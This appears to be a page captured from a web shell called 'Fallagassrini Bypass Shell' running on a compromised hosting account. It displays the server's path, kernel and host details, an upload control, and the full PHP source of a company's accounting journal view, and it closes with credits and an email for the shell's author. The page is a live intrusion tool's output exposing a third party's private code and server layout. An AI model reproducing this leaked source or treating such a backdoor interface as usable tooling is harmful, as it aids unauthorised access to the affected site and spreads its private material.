? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/sgms/application/views/Accounting/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/sgms/application/views/Accounting/single_auto_journal.php

<?php
if ( ! defined('BASEPATH')) exit('No direct script access allowed');
$this->load->view('documentreadyfunctions');
?>
<script type="text/javascript">
    jQuery(document).ready(function()
    {
          
           check_fiscal_year();
           check_transaction_code_settings(3);
          
       
    });
    
    
    
    
</script>
<div class="select-bar">
    <label><img src="<?=base_url()?>assets/images/backbutton.png" title="Back" class="clickimage" onclick="viewdata('accounting','viewinaccountingsearch','search_fixed_autojournal','view_fixed_autojournal','<?=$_SESSION['pagenum'];?>')" alt="Back" align = "center" width="25" height="25"  />
    </label>
    <span class="heading">Post Auto Journal</span>
</div>
<fieldset>
    <?php
   
    $attributes=array('id'=>'validateform','class'=>'customForm');
    echo form_open('accounting/addinaccounting/journal_unpost/view_fixed_autojournal/1',$attributes);
    $maininfo=$viewinfo->row();
    
     ?>
<ul>
    <li>
    <table class="sort">
        
        
        <tr>
            
            <th>Date</th>
            <th>
              <?php
                      $data = array(
                      'name'        => 'payment_date',
                      'id'          => 'payment_date',
                      'class'       =>'required calfocus',
                      'value'       => date('d-m-Y'),
                      'style'       =>'width:100px'    
                      );
                      echo form_input($data).form_error($data);
                 ?>
            </th>
        
            <th>Trans.Code</th>
            <th>
                <input type="text" name="ref_code" id="ref_code" class="required" readonly  style="width:100px"  />
            </th>
            
        </tr>

        

       
    </table>
        </li>
    
    <li>
        <input type="hidden"  value="<?=$viewinfo->num_rows()?>" name="counter" id="counter"/><!--for validation-->
        <input type="hidden"  value="<?=$viewinfo->num_rows()-1?>" name="counter_check" id="counter_check"/> <!--- for sending count ot table to model for "for loop" ---->
        <input type="hidden" name="class_ch" id="class_ch"/><!--- for change class for edit-->
        <input type="hidden" name="trans_type" value="3" id="trans_type"/>
        <table   class="sort" id="adddivx">
           <thead> <tr>
            <th width="30%">Acc code</th>
          
            <th width="20%">Debit</th>
             <th width="20%">Credit</th>
             <th width="15%">Memo</th>
	   
               </tr>
           </thead>
        
   

     
     <?php
    $k=0;
    $sum_deb=0;
    $sum_cre=0;
    foreach ($viewinfo->result() as $row)
             {
                if($row->amount>0)
                {
                    $debit=$row->amount;
                    $sum_deb+=$debit;
                    $credit='0';
                }
                else
                {
                    $credit=0-$row->amount;
                    $sum_cre+=$credit;
                    $debit='0';
                }
               
             ?>
                    
                        <tr id=nwdiv_<?=$k?> >
                            <td width='30%'>
                                        <input style='width:185px;'  id='code_<?=$k?>' type='text'  readonly  value='<?=$row->chart_account_code?>-<?=$row->chart_account_name?>'/>
                                        <input  style='width:185px;'  type='hidden' id='code<?=$k?>_id_<?=$k?>' name='code_<?=$k?>' readonly   value='<?=$row->chart_account_code?>'/>
                            </td>
                            <td width='20%'>
                                <input style='width:135px;text-align:right;'  id='debit_<?=$k?>' name='debit_<?=$k?>' readonly type='text'  value="<?=$debit?>">
                            </td>

                            <td width='20%'>
                                <input style='width:135px;text-align:right;'  id='credit_<?=$k?>' name='credit_<?=$k?>' readonly type='text'  value="<?=$credit?>">
                            </td>
                            <td width='15%'>
                                <textarea readonly  style='width:150px;height:50px' id='memo_<?=$k?>'  name='memo_<?=$k?>'><?=$row->memo?></textarea>
                            </td>
                            
                        </tr>
                        
                    
     
            <?php
              $k++;  
             }
             
             ?>
             <tr><th width="26%" style="text-align: right">Total</th>
                <th width="20%">
                    <input type="hidden" id="sumdebit" class="newcls" readonly="readonly"   value="<?=$sum_deb?>" name="sumdebit"/>
                    <input type="text" id="showsumdebit" style="width:135px" class="newcls auto" readonly="readonly" value="<?=number_format($sum_deb,2)?>" />
                </th>
                <th width="20%">
                    <input type="hidden" id="sumcredit" class="newcls" readonly="readonly"   value="<?=$sum_cre?>" name="sumcredit"/>
                    <input type="text" id="showsumcredit" style="width:135px" class="newcls auto" readonly="readonly"  value="<?=number_format($sum_cre,2)?>" />
                </th>
                <th width="30%" colspan="2"></th>



            </tr>           
                        
     
      </table>


 
    <input type="hidden" value="0" name="refid">
    <input type="hidden" value="<?=$id?>" name="auto_journal">
            


    </li>
    <li>
        <input type="hidden" name="tab_name" value="unposted_journal"/>
        <label for="submit">&nbsp;</label>
        <button type="submit" id="submit" class="clickimage" onclick="return checkcreditdebit();">Post</button>
    </li>
    </ul>
    <?php echo form_close();?>
</fieldset>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net